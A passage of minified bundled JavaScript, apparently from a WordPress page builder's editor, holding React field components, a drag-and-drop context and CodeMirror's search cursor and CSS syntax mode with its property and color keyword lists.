reateElement(R.a,{ref:function(e){return t.selectRef=e},name:this.props.fieldName+"_dynamic_content",value:i?a.content:"",options:this.getDynamicContentFieldOptions(this.props.type),__onChange:this.handleDynamicContentChange,selectFirst:!1})),u,l&&r.a.createElement(ue,{ref:function(e){return t.buttonRef=e},type:this.props.fieldType,icon:"dynamic",tooltip:ETBuilderBackend.i18n.dynamicContent.tooltips.enable,className:c()("et-fb-settings-option-dynamic__enable","et-fb-settings-option-dynamic__enable--"+this.props.fieldType),onClick:this.handleEnable})))}}]),t}();ve.supportedFieldTypes=["text","tiny_mce","upload"],ve.propTypes={children:l.a.element.isRequired,type:l.a.string.isRequired,fieldName:l.a.string.isRequired,fieldType:l.a.oneOf(ve.supportedFieldTypes).isRequired,previewMode:l.a.oneOf(["image","background"]),previewAttributes:l.a.object,isContentField:l.a.bool,dynamicAttributes:l.a.arrayOf(l.a.string).isRequired,value:l.a.string.isRequired,showSettingsButton:l.a.bool,showDisableButton:l.a.bool,showInheritButton:l.a.bool,onChange:l.a.func,onReset:l.a.func,onInherit:l.a.func,modalWidth:l.a.number},ve.defaultProps={previewMode:"image",previewAttributes:{},isContentField:!1,showSettingsButton:!0,showDisableButton:!0,showInheritButton:!1,onChange:M.a,onReset:M.a,onInherit:M.a};t.a=ve},function(e,t,n){"use strict";var o=n(1),r=n.n(o),i=n(118),a=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var s=new i.AllHtmlEntities,l=function(e){function t(){return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t),function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,o["PureComponent"]),a(t,[{key:"render",value:function(){return r.a.createElement("option",{value:this.props.value},s.decode(this.props.name))}}]),t}();t.a=l},function(e,t,n){"use strict";var o=n(1),r=n.n(o),i=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var a=function(e){function t(){return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t),function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,o["PureComponent"]),i(t,[{key:"render",value:function(){return r.a.createElement("optgroup",{label:this.props.label},this.props.children)}}]),t}();t.a=a},function(e,t,n){"use strict";var o=n(1),r=n.n(o),i=n(4),a=n.n(i),s=n(1302),l=n(1351),u=n.n(l),c=n(70),d=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var p=void 0;var f=function(e){function t(){return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t),function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,o["Component"]),d(t,[{key:"getChildContext",value:function(){return{dragDropManager:p||(p=new s.DragDropManager(u.a,{window:c.b}))}}},{key:"render",value:function(){return r.a.createElement("div",null,this.props.children)}}]),t}();f.childContextTypes={dragDropManager:a.a.object.isRequired},t.a=f},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.FILE="__NATIVE_FILE__",t.URL="__NATIVE_URL__",t.TEXT="__NATIVE_TEXT__"},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var o=n(1307);Object.defineProperty(t,"DragDropContext",{enumerable:!0,get:function(){return l(o).default}});var r=n(1360);Object.defineProperty(t,"DragDropContextProvider",{enumerable:!0,get:function(){return l(r).default}});var i=n(1361);Object.defineProperty(t,"DragLayer",{enumerable:!0,get:function(){return l(i).default}});var a=n(1362);Object.defineProperty(t,"DragSource",{enumerable:!0,get:function(){return l(a).default}});var s=n(1372);function l(e){return e&&e.__esModule?e:{default:e}}Object.defineProperty(t,"DropTarget",{enumerable:!0,get:function(){return l(s).default}})},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){if(e===t)return!0;var n=Object.keys(e),o=Object.keys(t);if(n.length!==o.length)return!1;for(var r=Object.prototype.hasOwnProperty,i=0;i<n.length;i+=1){if(!r.call(t,n[i])||e[n[i]]!==t[n[i]])return!1;var a=e[n[i]],s=t[n[i]];if(a!==s)return!1}return!0}},function(e,t,n){"use strict";t.__esModule=!0,t.default=function(e){return Boolean(e&&"function"==typeof e.dispose)},e.exports=t.default},function(e,t,n){
// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE
!function(e){"use strict";var t,n,o=e.Pos;function r(e,t){for(var n=function(e){var t=e.flags;return null!=t?t:(e.ignoreCase?"i":"")+(e.global?"g":"")+(e.multiline?"m":"")}(e),o=n,r=0;r<t.length;r++)-1==o.indexOf(t.charAt(r))&&(o+=t.charAt(r));return n==o?e:new RegExp(e.source,o)}function i(e){return/\\s|\\n|\n|\\W|\\D|\[\^/.test(e.source)}function a(e,t,n){t=r(t,"g");for(var i=n.line,a=n.ch,s=e.lastLine();i<=s;i++,a=0){t.lastIndex=a;var l=e.getLine(i),u=t.exec(l);if(u)return{from:o(i,u.index),to:o(i,u.index+u[0].length),match:u}}}function s(e,t,n){for(var o,r=0;r<=e.length;){t.lastIndex=r;var i=t.exec(e);if(!i)break;var a=i.index+i[0].length;if(a>e.length-n)break;(!o||a>o.index+o[0].length)&&(o=i),r=i.index+1}return o}function l(e,t,n){t=r(t,"g");for(var i=n.line,a=n.ch,l=e.firstLine();i>=l;i--,a=-1){var u=e.getLine(i),c=s(u,t,a<0?0:u.length-a);if(c)return{from:o(i,c.index),to:o(i,c.index+c[0].length),match:c}}}function u(e,t,n,o){if(e.length==t.length)return n;for(var r=0,i=n+Math.max(0,e.length-t.length);;){if(r==i)return r;var a=r+i>>1,s=o(e.slice(0,a)).length;if(s==n)return a;s>n?i=a:r=a+1}}function c(e,c,d,p){var f;this.atOccurrence=!1,this.doc=e,d=d?e.clipPos(d):o(0,0),this.pos={from:d,to:d},"object"==typeof p?f=p.caseFold:(f=p,p=null),"string"==typeof c?(null==f&&(f=!1),this.matches=function(r,i){return(r?function(e,r,i,a){if(!r.length)return null;var s=a?t:n,l=s(r).split(/\r|\n\r?/);e:for(var c=i.line,d=i.ch,p=e.firstLine()-1+l.length;c>=p;c--,d=-1){var f=e.getLine(c);d>-1&&(f=f.slice(0,d));var h=s(f);if(1==l.length){var m=h.lastIndexOf(l[0]);if(-1==m)continue e;return{from:o(c,u(f,h,m,s)),to:o(c,u(f,h,m+l[0].length,s))}}var g=l[l.length-1];if(h.slice(0,g.length)==g){for(var v=1,i=c-l.length+1;v<l.length-1;v++)if(s(e.getLine(i+v))!=l[v])continue e;var b=e.getLine(c+1-l.length),y=s(b);if(y.slice(y.length-l[0].length)==l[0])return{from:o(c+1-l.length,u(b,y,b.length-l[0].length,s)),to:o(c,u(f,h,g.length,s))}}}}:function(e,r,i,a){if(!r.length)return null;var s=a?t:n,l=s(r).split(/\r|\n\r?/);e:for(var c=i.line,d=i.ch,p=e.lastLine()+1-l.length;c<=p;c++,d=0){var f=e.getLine(c).slice(d),h=s(f);if(1==l.length){var m=h.indexOf(l[0]);if(-1==m)continue e;var i=u(f,h,m,s)+d;return{from:o(c,u(f,h,m,s)+d),to:o(c,u(f,h,m+l[0].length,s)+d)}}var g=h.length-l[0].length;if(h.slice(g)==l[0]){for(var v=1;v<l.length-1;v++)if(s(e.getLine(c+v))!=l[v])continue e;var b=e.getLine(c+l.length-1),y=s(b),_=l[l.length-1];if(y.slice(0,_.length)==_)return{from:o(c,u(f,h,g,s)+d),to:o(c+l.length-1,u(b,y,_.length,s))}}}})(e,c,i,f)}):(c=r(c,"gm"),p&&!1===p.multiline?this.matches=function(t,n){return(t?l:a)(e,c,n)}:this.matches=function(t,n){return(t?function(e,t,n){if(!i(t))return l(e,t,n);t=r(t,"gm");for(var a,u=1,c=e.getLine(n.line).length-n.ch,d=n.line,p=e.firstLine();d>=p;){for(var f=0;f<u&&d>=p;f++){var h=e.getLine(d--);a=null==a?h:h+"\n"+a}u*=2;var m=s(a,t,c);if(m){var g=a.slice(0,m.index).split("\n"),v=m[0].split("\n"),b=d+g.length,y=g[g.length-1].length;return{from:o(b,y),to:o(b+v.length-1,1==v.length?y+v[0].length:v[v.length-1].length),match:m}}}}:function(e,t,n){if(!i(t))return a(e,t,n);t=r(t,"gm");for(var s,l=1,u=n.line,c=e.lastLine();u<=c;){for(var d=0;d<l&&!(u>c);d++){var p=e.getLine(u++);s=null==s?p:s+"\n"+p}l*=2,t.lastIndex=n.ch;var f=t.exec(s);if(f){var h=s.slice(0,f.index).split("\n"),m=f[0].split("\n"),g=n.line+h.length-1,v=h[h.length-1].length;return{from:o(g,v),to:o(g+m.length-1,1==m.length?v+m[0].length:m[m.length-1].length),match:f}}}})(e,c,n)})}String.prototype.normalize?(t=function(e){return e.normalize("NFD").toLowerCase()},n=function(e){return e.normalize("NFD")}):(t=function(e){return e.toLowerCase()},n=function(e){return e}),c.prototype={findNext:function(){return this.find(!1)},findPrevious:function(){return this.find(!0)},find:function(t){for(var n=this.matches(t,this.doc.clipPos(t?this.pos.from:this.pos.to));n&&0==e.cmpPos(n.from,n.to);)t?n.from.ch?n.from=o(n.from.line,n.from.ch-1):n=n.from.line==this.doc.firstLine()?null:this.matches(t,this.doc.clipPos(o(n.from.line-1))):n.to.ch<this.doc.getLine(n.to.line).length?n.to=o(n.to.line,n.to.ch+1):n=n.to.line==this.doc.lastLine()?null:this.matches(t,o(n.to.line+1,0));if(n)return this.pos=n,this.atOccurrence=!0,this.pos.match||!0;var r=o(t?this.doc.firstLine():this.doc.lastLine()+1,0);return this.pos={from:r,to:r},this.atOccurrence=!1},from:function(){if(this.atOccurrence)return this.pos.from},to:function(){if(this.atOccurrence)return this.pos.to},replace:function(t,n){if(this.atOccurrence){var r=e.splitLines(t);this.doc.replaceRange(r,this.pos.from,this.pos.to,n),this.pos.to=o(this.pos.from.line+r.length-1,r[r.length-1].length+(1==r.length?this.pos.from.ch:0))}}},e.defineExtension("getSearchCursor",function(e,t,n){return new c(this.doc,e,t,n)}),e.defineDocExtension("getSearchCursor",function(e,t,n){return new c(this,e,t,n)}),e.defineExtension("selectMatches",function(t,n){for(var o=[],r=this.getSearchCursor(t,this.getCursor("from"),n);r.findNext()&&!(e.cmpPos(r.to(),this.getCursor("to"))>0);)o.push({anchor:r.from(),head:r.to()});o.length&&this.setSelections(o,0)})}(n(1276))},function(e,t,n){
// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE
!function(e){"use strict";function t(e){for(var t={},n=0;n<e.length;++n)t[e[n].toLowerCase()]=!0;return t}e.defineMode("css",function(t,n){var o=n.inline;n.propertyKeywords||(n=e.resolveMode("text/css"));var r,i,a=t.indentUnit,s=n.tokenHooks,l=n.documentTypes||{},u=n.mediaTypes||{},c=n.mediaFeatures||{},d=n.mediaValueKeywords||{},p=n.propertyKeywords||{},f=n.nonStandardPropertyKeywords||{},h=n.fontProperties||{},m=n.counterDescriptors||{},g=n.colorKeywords||{},v=n.valueKeywords||{},b=n.allowNested,y=n.lineComment,_=!0===n.supportsAtComponent,k=!1!==t.highlightNonStandardPropertyKeywords;function w(e,t){return r=t,e}function C(e){return function(t,n){for(var o,r=!1;null!=(o=t.next());){if(o==e&&!r){")"==e&&t.backUp(1);break}r=!r&&"\\"==o}return(o==e||!r&&")"!=e)&&(n.tokenize=null),w("string","string")}}function E(e,t){return e.next(),e.match(/\s*[\"\')]/,!1)?t.tokenize=null:t.tokenize=C(")"),w(null,"(")}function O(e,t,n){this.type=e,this.indent=t,this.prev=n}function S(e,t,n,o){return e.context=new O(n,t.indentation()+(!1===o?0:a),e.context),n}function T(e){return e.context.prev&&(e.context=e.context.prev),e.context.type}function M(e,t,n){return j[n.context.type](e,t,n)}function x(e,t,n,o){for(var r=o||1;r>0;r--)n.context=n.context.prev;return M(e,t,n)}function P(e){var t=e.current().toLowerCase();i=v.hasOwnProperty(t)?"atom":g.hasOwnProperty(t)?"keyword":"variable"}var j={top:function(e,t,n){if("{"==e)return S(n,t,"block");if("}"==e&&n.context.prev)return T(n);if(_&&/@component/i.test(e))return S(n,t,"atComponentBlock");if(/^@(-moz-)?document$/i.test(e))return S(n,t,"documentTypes");if(/^@(media|supports|(-moz-)?document|import)$/i.test(e))return S(n,t,"atBlock");if(/^@(font-face|counter-style)/i.test(e))return n.stateArg=e,"restricted_atBlock_before";if(/^@(-(moz|ms|o|webkit)-)?keyframes$/i.test(e))return"keyframes";if(e&&"@"==e.charAt(0))return S(n,t,"at");if("hash"==e)i="builtin";else if("word"==e)i="tag";else{if("variable-definition"==e)return"maybeprop";if("interpolation"==e)return S(n,t,"interpolation");if(":"==e)return"pseudo";if(b&&"("==e)return S(n,t,"parens")}return n.context.type},block:function(e,t,n){if("word"==e){var o=t.current().toLowerCase();return p.hasOwnProperty(o)?(i="property","maybeprop"):f.hasOwnProperty(o)?(i=k?"string-2":"property","maybeprop"):b?(i=t.match(/^\s*:(?:\s|$)/,!1)?"property":"tag","block"):(i+=" error","maybeprop")}return"meta"==e?"block":b||"hash"!=e&&"qualifier"!=e?j.top(e,t,n):(i="error","block")},maybeprop:function(e,t,n){return":"==e?S(n,t,"prop"):M(e,t,n)},prop:function(e,t,n){if(";"==e)return T(n);if("{"==e&&b)return S(n,t,"propBlock");if("}"==e||"{"==e)return x(e,t,n);if("("==e)return S(n,t,"parens");if("hash"!=e||/^#([0-9a-fA-f]{3,4}|[0-9a-fA-f]{6}|[0-9a-fA-f]{8})$/.test(t.current())){if("word"==e)P(t);else if("interpolation"==e)return S(n,t,"interpolation")}else i+=" error";return"prop"},propBlock:function(e,t,n){return"}"==e?T(n):"word"==e?(i="property","maybeprop"):n.context.type},parens:function(e,t,n){return"{"==e||"}"==e?x(e,t,n):")"==e?T(n):"("==e?S(n,t,"parens"):"interpolation"==e?S(n,t,"interpolation"):("word"==e&&P(t),"parens")},pseudo:function(e,t,n){return"meta"==e?"pseudo":"word"==e?(i="variable-3",n.context.type):M(e,t,n)},documentTypes:function(e,t,n){return"word"==e&&l.hasOwnProperty(t.current())?(i="tag",n.context.type):j.atBlock(e,t,n)},atBlock:function(e,t,n){if("("==e)return S(n,t,"atBlock_parens");if("}"==e||";"==e)return x(e,t,n);if("{"==e)return T(n)&&S(n,t,b?"block":"top");if("interpolation"==e)return S(n,t,"interpolation");if("word"==e){var o=t.current().toLowerCase();i="only"==o||"not"==o||"and"==o||"or"==o?"keyword":u.hasOwnProperty(o)?"attribute":c.hasOwnProperty(o)?"property":d.hasOwnProperty(o)?"keyword":p.hasOwnProperty(o)?"property":f.hasOwnProperty(o)?k?"string-2":"property":v.hasOwnProperty(o)?"atom":g.hasOwnProperty(o)?"keyword":"error"}return n.context.type},atComponentBlock:function(e,t,n){return"}"==e?x(e,t,n):"{"==e?T(n)&&S(n,t,b?"block":"top",!1):("word"==e&&(i="error"),n.context.type)},atBlock_parens:function(e,t,n){return")"==e?T(n):"{"==e||"}"==e?x(e,t,n,2):j.atBlock(e,t,n)},restricted_atBlock_before:function(e,t,n){return"{"==e?S(n,t,"restricted_atBlock"):"word"==e&&"@counter-style"==n.stateArg?(i="variable","restricted_atBlock_before"):M(e,t,n)},restricted_atBlock:function(e,t,n){return"}"==e?(n.stateArg=null,T(n)):"word"==e?(i="@font-face"==n.stateArg&&!h.hasOwnProperty(t.current().toLowerCase())||"@counter-style"==n.stateArg&&!m.hasOwnProperty(t.current().toLowerCase())?"error":"property","maybeprop"):"restricted_atBlock"},keyframes:function(e,t,n){return"word"==e?(i="variable","keyframes"):"{"==e?S(n,t,"top"):M(e,t,n)},at:function(e,t,n){return";"==e?T(n):"{"==e||"}"==e?x(e,t,n):("word"==e?i="tag":"hash"==e&&(i="builtin"),"at")},interpolation:function(e,t,n){return"}"==e?T(n):"{"==e||";"==e?x(e,t,n):("word"==e?i="variable":"variable"!=e&&"("!=e&&")"!=e&&(i="error"),"interpolation")}};return{startState:function(e){return{tokenize:null,state:o?"block":"top",stateArg:null,context:new O(o?"block":"top",e||0,null)}},token:function(e,t){if(!t.tokenize&&e.eatSpace())return null;var n=(t.tokenize||function(e,t){var n=e.next();if(s[n]){var o=s[n](e,t);if(!1!==o)return o}return"@"==n?(e.eatWhile(/[\w\\\-]/),w("def",e.current())):"="==n||("~"==n||"|"==n)&&e.eat("=")?w(null,"compare"):'"'==n||"'"==n?(t.tokenize=C(n),t.tokenize(e,t)):"#"==n?(e.eatWhile(/[\w\\\-]/),w("atom","hash")):"!"==n?(e.match(/^\s*\w*/),w("keyword","important")):/\d/.test(n)||"."==n&&e.eat(/\d/)?(e.eatWhile(/[\w.%]/),w("number","unit")):"-"!==n?/[,+>*\/]/.test(n)?w(null,"select-op"):"."==n&&e.match(/^-?[_a-z][_a-z0-9-]*/i)?w("qualifier","qualifier"):/[:;{}\[\]\(\)]/.test(n)?w(null,n):e.match(/[\w-.]+(?=\()/)?(/^(url(-prefix)?|domain|regexp)$/.test(e.current().toLowerCase())&&(t.tokenize=E),w("variable callee","variable")):/[\w\\\-]/.test(n)?(e.eatWhile(/[\w\\\-]/),w("property","word")):w(null,null):/[\d.]/.test(e.peek())?(e.eatWhile(/[\w.%]/),w("number","unit")):e.match(/^-[\w\\\-]*/)?(e.eatWhile(/[\w\\\-]/),e.match(/^\s*:/,!1)?w("variable-2","variable-definition"):w("variable-2","variable")):e.match(/^\w+-/)?w("meta","meta"):void 0})(e,t);return n&&"object"==typeof n&&(r=n[1],n=n[0]),i=n,"comment"!=r&&(t.state=j[t.state](r,e,t)),i},indent:function(e,t){var n=e.context,o=t&&t.charAt(0),r=n.indent;return"prop"!=n.type||"}"!=o&&")"!=o||(n=n.prev),n.prev&&("}"!=o||"block"!=n.type&&"top"!=n.type&&"interpolation"!=n.type&&"restricted_atBlock"!=n.type?(")"!=o||"parens"!=n.type&&"atBlock_parens"!=n.type)&&("{"!=o||"at"!=n.type&&"atBlock"!=n.type)||(r=Math.max(0,n.indent-a)):(n=n.prev,r=n.indent)),r},electricChars:"}",blockCommentStart:"/*",blockCommentEnd:"*/",blockCommentContinue:" * ",lineComment:y,fold:"brace"}});var n=["domain","regexp","url","url-prefix"],o=t(n),r=["all","aural","braille","handheld","print","projection","screen","tty","tv","embossed"],i=t(r),a=["width","min-width","max-width","height","min-height","max-height","device-width","min-device-width","max-device-width","device-height","min-device-height","max-device-height","aspect-ratio","min-aspect-ratio","max-aspect-ratio","device-aspect-ratio","min-device-aspect-ratio","max-device-aspect-ratio","color","min-color","max-color","color-index","min-color-index","max-color-index","monochrome","min-monochrome","max-monochrome","resolution","min-resolution","max-resolution","scan","grid","orientation","device-pixel-ratio","min-device-pixel-ratio","max-device-pixel-ratio","pointer","any-pointer","hover","any-hover","prefers-color-scheme"],s=t(a),l=["landscape","portrait","none","coarse","fine","on-demand","hover","interlace","progressive","dark","light"],u=t(l),c=["align-content","align-items","align-self","alignment-adjust","alignment-baseline","all","anchor-point","animation","animation-delay","animation-direction","animation-duration","animation-fill-mode","animation-iteration-count","animation-name","animation-play-state","animation-timing-function","appearance","azimuth","backdrop-filter","backface-visibility","background","background-attachment","background-blend-mode","background-clip","background-color","background-image","background-origin","background-position","background-position-x","background-position-y","background-repeat","background-size","baseline-shift","binding","bleed","block-size","bookmark-label","bookmark-level","bookmark-state","bookmark-target","border","border-bottom","border-bottom-color","border-bottom-left-radius","border-bottom-right-radius","border-bottom-style","border-bottom-width","border-collapse","border-color","border-image","border-image-outset","border-image-repeat","border-image-slice","border-image-source","border-image-width","border-left","border-left-color","border-left-style","border-left-width","border-radius","border-right","border-right-color","border-right-style","border-right-width","border-spacing","border-style","border-top","border-top-color","border-top-left-radius","border-top-right-radius","border-top-style","border-top-width","border-width","bottom","box-decoration-break","box-shadow","box-sizing","break-after","break-before","break-inside","caption-side","caret-color","clear","clip","color","color-profile","column-count","column-fill","column-gap","column-rule","column-rule-color","column-rule-style","column-rule-width","column-span","column-width","columns","contain","content","counter-increment","counter-reset","crop","cue","cue-after","cue-before","cursor","direction","display","dominant-baseline","drop-initial-after-adjust","drop-initial-after-align","drop-initial-before-adjust","drop-initial-before-align","drop-initial-size","drop-initial-value","elevation","empty-cells","fit","fit-position","flex","flex-basis","flex-direction","flex-flow","flex-grow","flex-shrink","flex-wrap","float","float-offset","flow-from","flow-into","font","font-family","font-feature-settings","font-kerning","font-language-override","font-optical-sizing","font-size","font-size-adjust","font-stretch","font-style","font-synthesis","font-variant","font-variant-alternates","font-variant-caps","font-variant-east-asian","font-variant-ligatures","font-variant-numeric","font-variant-position","font-variation-settings","font-weight","gap","grid","grid-area","grid-auto-columns","grid-auto-flow","grid-auto-rows","grid-column","grid-column-end","grid-column-gap","grid-column-start","grid-gap","grid-row","grid-row-end","grid-row-gap","grid-row-start","grid-template","grid-template-areas","grid-template-columns","grid-template-rows","hanging-punctuation","height","hyphens","icon","image-orientation","image-rendering","image-resolution","inline-box-align","inset","inset-block","inset-block-end","inset-block-start","inset-inline","inset-inline-end","inset-inline-start","isolation","justify-content","justify-items","justify-self","left","letter-spacing","line-break","line-height","line-height-step","line-stacking","line-stacking-ruby","line-stacking-shift","line-stacking-strategy","list-style","list-style-image","list-style-position","list-style-type","margin","margin-bottom","margin-left","margin-right","margin-top","marks","marquee-direction","marquee-loop","marquee-play-count","marquee-speed","marquee-style","mask-clip","mask-composite","mask-image","mask-mode","mask-origin","mask-position","mask-repeat","mask-size","mask-type","max-block-size","max-height","max-inline-size","max-width","min-block-size","min-height","min-inline-size","min-width","mix-blend-mode","move-to","nav-down","nav-index","nav-left","nav-right","nav-up","object-fit","object-position","offset","offset-anchor","offset-distance","offset-path","offset-position","offset-rotate","opacity","order","orphans","outline","outline-color","outline-offset","outline-style","outline-width","overflow","overflow-style","overflow-wrap","overflow-x","overflow-y","padding","padding-bottom","padding-left","padding-right","padding-top","page","page-break-after","page-break-before","page-break-inside","page-policy","pause","pause-after","pause-before","perspective","perspective-origin","pitch","pitch-range","place-content","place-items","place-self","play-during","position","presentation-level","punctuation-trim","quotes","region-break-after","region-break-before","region-break-inside","region-fragment","rendering-intent","resize","rest","rest-after","rest-before","richness","right","rotate","rotation","rotation-point","row-gap","ruby-align","ruby-overhang","ruby-position","ruby-span","scale","scroll-behavior","scroll-margin","scroll-margin-block","scroll-margin-block-end","scroll-margin-block-start","scroll-margin-bottom","scroll-margin-inline","scroll-margin-inline-end","scroll-margin-inline-start","scroll-margin-left","scroll-margin-right","scroll-margin-top","scroll-padding","scroll-padding-block","scroll-padding-block-end","scroll-padding-block-start","scroll-padding-bottom","scroll-padding-inline","scroll-padding-inline-end","scroll-padding-inline-start","scroll-padding-left","scroll-padding-right","scroll-padding-top","scroll-snap-align","scroll-snap-type","shape-image-threshold","shape-inside","shape-margin","shape-outside","size","speak","speak-as","speak-header","speak-numeral","speak-punctuation","speech-rate","stress","string-set","tab-size","table-layout","target","target-name","target-new","target-position","text-align","text-align-last","text-combine-upright","text-decoration","text-decoration-color","text-decoration-line","text-decoration-skip","text-decoration-skip-ink","text-decoration-style","text-emphasis","text-emphasis-color","text-emphasis-position","text-emphasis-style","text-height","text-indent","text-justify","text-orientation","text-outline","text-overflow","text-rendering","text-shadow","text-size-adjust","text-space-collapse","text-transform","text-underline-position","text-wrap","top","touch-action","transform","transform-origin","transform-style","transition","transition-delay","transition-duration","transition-property","transition-timing-function","translate","unicode-bidi","user-select","vertical-align","visibility","voice-balance","voice-duration","voice-family","voice-pitch","voice-range","voice-rate","voice-stress","voice-volume","volume","white-space","widows","width","will-change","word-break","word-spacing","word-wrap","writing-mode","z-index","clip-path","clip-rule","mask","enable-background","filter","flood-color","flood-opacity","lighting-color","stop-color","stop-opacity","pointer-events","color-interpolation","color-interpolation-filters","color-rendering","fill","fill-opacity","fill-rule","image-rendering","marker","marker-end","marker-mid","marker-start","paint-order","shape-rendering","stroke","stroke-dasharray","stroke-dashoffset","stroke-linecap","stroke-linejoin","stroke-miterlimit","stroke-opacity","stroke-width","text-rendering","baseline-shift","dominant-baseline","glyph-orientation-horizontal","glyph-orientation-vertical","text-anchor","writing-mode"],d=t(c),p=["border-block","border-block-color","border-block-end","border-block-end-color","border-block-end-style","border-block-end-width","border-block-start","border-block-start-color","border-block-start-style","border-block-start-width","border-block-style","border-block-width","border-inline","border-inline-color","border-inline-end","border-inline-end-color","border-inline-end-style","border-inline-end-width","border-inline-start","border-inline-start-color","border-inline-start-style","border-inline-start-width","border-inline-style","border-inline-width","margin-block","margin-block-end","margin-block-start","margin-inline","margin-inline-end","margin-inline-start","padding-block","padding-block-end","padding-block-start","padding-inline","padding-inline-end","padding-inline-start","scroll-snap-stop","scrollbar-3d-light-color","scrollbar-arrow-color","scrollbar-base-color","scrollbar-dark-shadow-color","scrollbar-face-color","scrollbar-highlight-color","scrollbar-shadow-color","scrollbar-track-color","searchfield-cancel-button","searchfield-decoration","searchfield-results-button","searchfield-results-decoration","shape-inside","zoom"],f=t(p),h=t(["font-display","font-family","src","unicode-range","font-variant","font-feature-settings","font-stretch","font-weight","font-style"]),m=t(["additive-symbols","fallback","negative","pad","prefix","range","speak-as","suffix","symbols","system"]),g=["aliceblue","antiquewhite","aqua","aquamarine","azure","beige","bisque","black","blanchedalmond","blue","blueviolet","brown","burlywood","cadetblue","chartreuse","chocolate","coral","cornflowerblue","cornsilk","crimson","cyan","darkblue","darkcyan","darkgoldenrod","darkgray","darkgreen","darkkhaki","darkmagenta","darkolivegreen","darkorange","darkorchid","darkred","darksalmon","darkseagreen","darkslateblue","darkslategray","darkturquoise","darkviolet","deeppink","deepskyblue","dimgray","dodgerblue","firebrick","floralwhite","forestgreen","fuchsia","gainsboro","ghostwhite","gold","goldenrod","gray","grey","green","greenyellow","honeydew","hotpink","indianred","indigo","ivory","khaki","lavender","lavenderblush","lawngreen","lemonchiffon","lightblue","lightcoral","lightcyan","lightgoldenrodyellow","lightgray","lightgreen","lightpink","lightsalmon","lightseagreen","lightskyblue","lightslategray","lightsteelblue","lightyellow","lime","limegreen","linen","magenta","maroon","mediumaquamarine","mediumblue","mediumorchid","mediumpurple","mediumseagreen","mediumslateblue","mediumspringgreen","mediumturquoise","mediumvioletred","midnightblue","mintcream","mistyrose","moccasin","navajowhite","navy","oldlace","olive","olivedrab","orange","orangered","orchid","palegoldenrod","palegreen","paleturquoise","palevioletred","papayawhip","peachpuff","peru","pink","plum","powderblue","purple","rebeccapurple","red","rosybrown","royalblue","saddlebrown","salmon","sandybrown","seagreen","seashell","sienna","silver","skyblue","slateblue","slategray","snow","springgreen","steelblue","tan","teal","thistle","tomato","turquoise","violet","wheat","white","whitesmoke","yellow","yellowgreen"],v=t(g),b=["above","absolute","activeborder","additive","activecaption","afar","after-white-space","ahead","alias","all","all-scroll","alphabetic","alternate","always","amharic","amharic-abegede","antialiased","appworkspace","arabic-indic","armenian","asterisks","attr","auto","auto-flow","avoid","avoid-column","avoid-page","avoid-region","axis-pan","background","backwards","baseline","below","bidi-override","binary","bengali","blink","block","block-axis","bold","bolder","border","border-box","both","bottom","break","break-all","break-word","bullets","button","button-bevel","buttonface","buttonhighlight","buttonshadow","buttontext","calc","cambodian","capitalize","caps-lock-indicator","caption","captiontext","caret","cell","center","checkbox","circle","cjk-decimal","cjk-earthly-branch","cjk-heavenly-stem","cjk-ideographic","clear","clip","close-quote","col-resize","collapse","color","color-burn","color-dodge","column","column-reverse","compact","condensed","contain","content","contents","content-box","context-menu","continuous","copy","counter","counters","cover","crop","cross","crosshair","currentcolor","cursive","cyclic","darken","dashed","decimal","decimal-leading-zero","default","default-button","dense","destination-atop","destination-in","destination-out","destination-over","devanagari","difference","disc","discard","disclosure-closed","disclosure-open","document","dot-dash","dot-dot-dash","dotted","double","down","e-resize","ease","ease-in","ease-in-out","ease-out","element","ellipse","ellipsis","embed","end","ethiopic","ethiopic-abegede","ethiopic-abegede-am-et","ethiopic-abegede-gez","ethiopic-abegede-ti-er","ethiopic-abegede-ti-e